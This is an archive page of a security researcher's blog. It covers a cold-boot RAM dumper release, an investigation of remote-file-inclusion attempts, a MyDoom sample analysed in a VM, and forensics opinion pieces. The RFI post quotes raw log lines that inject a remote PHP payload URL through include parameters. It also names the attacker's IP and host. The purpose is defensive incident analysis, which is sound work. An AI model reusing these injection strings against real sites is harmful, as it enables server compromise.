Tool Release: msramdmp – Image RAM after a cold boot

 analysis, forensics, hardware  3 Responses »
Mar 022008
 

The Princeton guys that I mentioned in my last post have not released the tools that they used in their paper, yet. I wanted to play around with the way PC’s tend to retain memory, so I’ve written my own implementation of the RAM dumper they describe and show in their videos:

Now, you can try it out for yourself, and see how you can recover text, images, and other data (such as encryption keys!) from memory after the plug has been pulled for a short period of time.

 Posted by wesley at 11:36 pm

Looking at Remote-File-Inclusion attempts

 analysis, forensics, recon, web  1 Response »
Oct 042007
 

For some attackers, it’s just a matter of casting it out there to every possible target and hope something sticks. This sort of thing turns up fairly often in my logs, and probably yours too. This time, I’m going to use it to illustrate just how much intelligence you can gather about your attackers if you take some time to investigate. This particular example is a spectacular failure:


195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:26 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:27 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:31 -0400]
"GET /projects/goosweep/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 262 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 244 "-" "libwww-perl/5.48"

195.42.160.22 - - [30/Sep/2007:15:00:32 -0400]
"GET /projects/testhttp://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0"
404 253 "-" "libwww-perl/5.48"

I’m not even very sure what vulnerability they’re trying to exploit here, if any. It almost looks as though they were just testing out their script, and happened to think it was a good idea to run it against a website that specializes in various aspects of computer security. This tells you something about the attackers to start with.

I’m going to cover a few easy investigative tricks you can do to find out more about an attack like this. I’m going to write this as I do it, so information I discuss earlier may be proven wrong by the end of the post. This is intentional, as it’s important to show how theories are formed based on evidence and then thrown out when something is found to contradict them.

First, consider the IP address, 195.42.160.22 . Let’s see what we can find out from it:

  • It doesn’t show up in the logs anywhere else (nor does anything else 195.42.*.*)
    • Most of the traffic in the minutes leading up to the attack are RSS readers looking at the blog. There’s no apparent “looking around” type traffic coming from any other IP addresses in the minutes leading up to the attempts.
    • I wasn’t likely “chosen” for an attack so much as I was automatically spidered from a search query or other site.
  • The IP address reverse-DNS’s to wizard.dataforce.net . Dataforce is a Russian ISP.
    • Judging from the hostname, it seems like more of a server for the ISP than an individual’s workstation.
    • So, it’s probably a machine they’ve managed to hack with a similar exploit, and they’re branching out.
  • Looking on google, other sites’ logs and discussion reveal similar things coming from that IP address and host name:
    • Windows 98 user agent?
    • Attempts to grab lots of different php. Looks like attempts to find things they know how to RFI. As recent as in the past 24 hours.
    • Some more attempts at what they did on my site. At least these attempts are better formatted than the ones in my logs:
      • wizard.dataforce.net – - [02/Oct/2007:03:44:03 +0900] “GET /admin/index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
      • wizard.dataforce.net – - [02/Oct/2007:03:44:05 +0900] “GET /index.php?=connection:absolute_path=http://www.infectsgroup.kit.net/infect.jpg? HTTP/1.0″ 302 284
    • This site appears to be hosted on wizard.dataforce.net. This supports the idea that this is a shared web host for the ISP’s customers.
    • Several other sites have exposed access_logs revealing connections from wizard.dataforce.net, and a handful of other apparent web hosts attempting to RFI the same “infect.jpg”. Examples were noticed where “infect.jpg” was downloaded from other sites, as well. This also supports the idea that this is a branching-out and spreading type of attack.

That’s a good bit of information to gather from one IP address :) . Next, let’s look at the payload, “http://www.infectsgroup.kit.net/infect.jpg”:

  • It’s not a real jpg of course. It’s PHP code. I’ve hosted it here, so you can take a look and follow along. I’ve taken out the opening and closing tags, so it’s not effective for remote-inclusion off of my own site ;)
  • Once you take the code and reformat it, you’ll see that it’s designed to spit out a few bits of information about the server, then attempt to run the “id” command to get the current user ID.
    • There’s a big “ex()” function that tries to execute the command in many different ways.
    • This code doesn’t really “do” much, but the results it spits back can be processed to determine if a server running an app vulnerable to RFI has been found. Presumably if it finds something, their script either saves the results in a report, or immediately moves to install a proper backdoor PHP shell.
  • Looks like some french-speaking folk ran across it the other day
  • The author of the script has been busy defacing websites (registration required, and I highly recommend it)
    • Defacing in the name Kurdistan Security Team (with very slick ascii art!).

That about settles matters. For the sake of completion I searched through my logs for other connection that used the same User Agent string, “libwww-perl/5.48″. The only other connections were from another host just yesterday, attempting similar RFI attacks. The IP address turns out to be another shared host, in Germany this time, and the payload had already been taken down.

So what you see here is a shotgun approach to defacing a lot of pages and boosting their name up on Zone-H’s defacement archive. This is pretty basic stuff, but it’s a very interesting exercise to take a few log entries and expand out a profile for the attack and attackers. Hopefully you can apply this to your own incidents.

 Posted by wesley at 12:00 am

In Defense of MediaDefender?

 forensics, network, p2p, recon, social engineering  No Responses »
Sep 212007
 

I’ve been posting on the Binary Revolution Forums a bit lately, mostly in threads with a technical theme. I’m mostly doing it to sort of contribute to a place that’s popular among people just starting out in the field. Today, a link was posted about the recent attacks against MediaDefender, where a large amount of their email and intellectual property has been leaked out.

I gave the situation some thought, and I think I’m going to have to disagree with what seems to be the general consensus among internet users. I wrote up some of my thoughts and posted it, and I liked it enough that I’m adapting it into the blog post for today:

“What’s funny about this is it really exposes a lot of peer-to-peer filesharing advocates’ true position.

The services MediaDefender provide for copyright holders are designed to have a chilling effect on the filesharing of copyrighted content (they also do marketing via P2P, which is legal, and I think a pretty good use of P2P). So we have a company here that recognizes that there are legal and legitimate uses for P2P, and instead of being all “There should be legislation outlawing this”, they do the right thing and provide a technical solution to a technical problem for copyright holders. The fake files and information gathering tactics apply to situations where people are knowingly downloading content for which they have no rights. You’re not going to run into MediaDefender’s mechanisms downloading Linux ISOs and sharing independent music over P2P, like many advocates of P2P technology would have you believe they do.

It’s a neat solution. Gum up the infringing activities of P2P users while letting the protocols and those who don’t abuse them act freely. It’s a useful service for copyright holders. So what is the collective internet P2P geek reaction to them? It can be pretty much summed up as “Screw them, they deserved to get hacked, they are the devil”. Poking around a bit, I can’t really find a positive thing being said about them.

What it boils down is this: most of the people advocating peer-to-peer with the caveat of it being useful for legal content, really just want their copyright infringing uses to be safe under that blanket.”

 Posted by wesley at 9:18 am

Published in Advances in Digital Forensics III

 analysis, forensics, network, web  1 Response »
Aug 272007
 

The paper that I presented at the IFIP WG 11.9 digital forensics conference, “Using Search Engines to Acquire Network Forensics Evidence” (using my tool GooSweep) has been published as a chapter of the new hardcover “Advances in Digital Forensics III” from IFIP and Springer. I just received my copy today, and I’m quite proud:

More information is available over at Amazon

 Posted by wesley at 12:08 pm

Playing With Fire: Malware in VMs

 analysis, forensics, malware, network  No Responses »
May 162007
 

Lately I’ve been reading Eldad Eilam’s “Reversing: Secrets of Reverse Engineering”, working through all of the exercises and such. I need to build up my skills at really low level workings of Windows, static analysis of disassembled code, and debugging a live process more effectively. This is the perfect book for that, so I’ve been really enjoying it.

When I received some malware, attached to a “Message could not be delivered” email, I figured I’d play with it bit, as I often enjoy doing. Now, this is the sort of thing VMWare Server is excellent for. If you ‘re running Ubuntu, check here for a nice writeup on getting it going on 6.10. For Feisty, check my comments :) . I can create a checkpoint before I load the malware onto the system, and then rewind it back to that clean state whenever needed.

I already had an Windows XP VM that I was using OllyDbg in, working through Eilam’s examples, so I figured it’d be fun to load up some malware and see what I could do. Unfortunately, I’m not far enough into the book yet to beat this malware’s executable packing and anti-debugging features ;) . Not to be discouraged, I dropped back to my one of my usual techniques for analyzing malware: seeing how it interacts with the network.

For this, I could run Wireshark in the host OS (Linux) without fear of the malware affecting it. Here’s some notes:

As you can see, this executable tries hard to make itself look like an HTML file (that’s a “.com” at the end of all those spaces). A proper icon would have helped though.

I was very happy that, when I ran the malware, the Windows Firewall popped up to ask me if I wanted to let it access the network. The malware was smart enough to call itself “services”, which is innocuous enough for a lot of people. For the purposes of testing, I went ahead and allowed it.

After a while of sniffing traffic, I stopped the Wireshark capture, and began restoring the VM back to a clean slate. The traffic mostly consisted of email (sending out copies of itself, boring and unsuccessful), and web traffic (much more interesting). So, if you want to take a look at the sort of web requests are being made in a packet dump, here’s a nice display filter…

This filter resulted in a large number of searches on lots of search engines, presumably looking for more email addresses to spread to on sites that it found in my browser history:

I’m impressed by the wide variety of search engines and terms that I’ve seen it use. I do, however, question the practicality of mining debian.org for people vulnerable to Windows malware ;-)

So, for this exercise, I intentionally didn’t search out any information about the virus beforehand, but this is always a good idea. Google the md5 hash of the malware you get your hands on, run strings over it and search for any unique strings, and anything else you can think of. Anytime you can find someone who’s already done analysis for you, you have saved some time. Just be sure to verify their results, because they may not know what they’re doing, or maybe you have a new variant.

For the sake of completeness, here’s what VirusTotal.com had to say about this malware:

Antivirus Version Update Result
AhnLab-V3 2007.5.16.1 05.16.2007 Win32/MyDoom.worm.40960.B
AntiVir 7.4.0.23 05.16.2007 Worm/Mydoom.BB.1
Authentium 4.93.8 05.16.2007 W32/Mydoom.BF@mm
Avast 4.7.997.0 05.16.2007 Win32:Mydoom-L2
AVG 7.5.0.467 05.16.2007 I-Worm/Mydoom
BitDefender 7.2 05.17.2007 Win32.Mydoom.AQ@mm
CAT-QuickHeal 9.00 05.16.2007 I-Worm.Mydoom.m
ClamAV devel-20070416 05.16.2007 Worm.Mydoom.M-unp
DrWeb 4.33 05.16.2007 Win32.HLLM.MyDoom.54464
eSafe 7.0.15.0 05.16.2007 Win32.Mydoom.bf
eTrust-Vet 30.7.3638 05.17.2007 Win32/Mydoom.BA
Ewido 4.0 05.16.2007 Worm.Mydoom.m
FileAdvisor 1 05.17.2007 no virus found
Fortinet 2.85.0.0 05.17.2007 W32/MyDoom.BE@mm
F-Prot 4.3.2.48 05.16.2007 W32/Mydoom.BC@mm
F-Secure 6.70.13030.0 05.17.2007 Email-Worm.Win32.Mydoom.am
Ikarus T3.1.1.7 05.16.2007 Email-Worm.Win32.Mydoom.m
Kaspersky 4.0.2.24 05.17.2007 Email-Worm.Win32.Mydoom.am
McAfee 5032 05.16.2007 W32/Mydoom.bf@MM
Microsoft 1.2503 05.17.2007 Worm:Win32/Mydoom.BF@mm
NOD32v2 2272 05.17.2007 Win32/Mydoom.AX
Norman 5.80.02 05.16.2007 W32/MyDoom.AU@mm
Panda 9.0.0.4 05.16.2007 W32/Mydoom.AT.worm
Prevx1 V2 05.17.2007 no virus found
Sophos 4.17.0 05.16.2007 W32/MyDoom-BE
Sunbelt 2.2.907.0 05.17.2007 VIPRE.Suspicious
Symantec 10 05.17.2007 W32.Mydoom.BB@mm
TheHacker 6.1.6.115 05.15.2007 W32/Mydoom.am
VBA32 3.12.0 05.16.2007 MalwareScope.Email-Worm.Mydoom.1
VirusBuster 4.3.7:9 05.16.2007 I-Worm.MyDoom.BC
Webwasher-Gateway 6.0.1 05.17.2007 Worm.Mydoom.BB.1
Aditional Information
File size: 41312 bytes
MD5: 34e99b96a132caac09c5f3c4f4db7636
SHA1: 9c25a1841dc4ac0eb0503f1a8707e9cbab9f6eb2
Sunbelt info: VIPRE.Suspicious is a generic detection for potential threats that are deemed suspicious through heuristics.

I’m going to assume that FileAdvisor and Prevx1 just had a bad day or some kind of glitch, because I’m not sure why else they wouldn’t be able to recognize MyDoom. As long as you’re using pretty much anything else, it looks like you’re safe!

…or you could just use VMWare and restore to a clean state after your questionable activities ;) .

 Posted by wesley at 10:05 pm

Computer Forensics Expert Witness Testimonial Gone Bad

 analysis, forensics  2 Responses »
May 012007
 

If you’re at all involved in computer forensics, I highly recommend that you read this deposition of a RIAA expert witness, in which a defense attorney enjoys some success at attacking the witness’s methods, experience, and claims:

Deposition of RIAA’s Expert Available Online

This really illustrates how well you need to document and understand your processes when you are perfoming an investigation. There are a few genuinely cringe-worthy moments in there, and I put together a few bullet points on things one should pay close attention to before going into a situation like this…

  • Experience – This guy didn’t really come across as an expert in the field
  • Knowledge of your procedures
  • Knowing the details of how your tools work – This, and the above. Knowing what the tool tells you about your evidence without knowing how it came to that conclusion is not very impressive.
  • Using your tools properly – This fellow used EnCase on the evidence drive, and yet he did not log any data from it or generate any reports. This blows my mind.
  • Knowledge of the network environment the evidence came from – A bit of preparation could have made a lot of the confusion over DHCP lease times and the network topology less of a problem.
  • The importance of network forensics – The hard drive is not an island. It belongs in a system, which belongs on a network, which you presumably have some corroborating evidence on, albeit from a viewpoint across the internet. You need to be able to bring the network forensics results and the results of analyzing the drive(s) together as much as possible, and be very careful about any conclusions you might be jumping to.
  • Being careful with terminology – Again, nailed on wording. The witness claimed he would demonstrate how the computer owned by the defendant was the computer observed by the peer-to-peer tracking program, when he really couldn’t demonstrate the ownership or even the computer.
  • Careful documentation – Notes should be taken in a careful, journal form with signatures and dates, and with the knowledge that they will come out in proceedings like this. Again, the logging and documentation features of the software he used should have been utilized.
 Posted by wesley at 11:23 pm
 Newer Entries
© 2012 McGrew Security Suffusion theme by Sayontan Sinha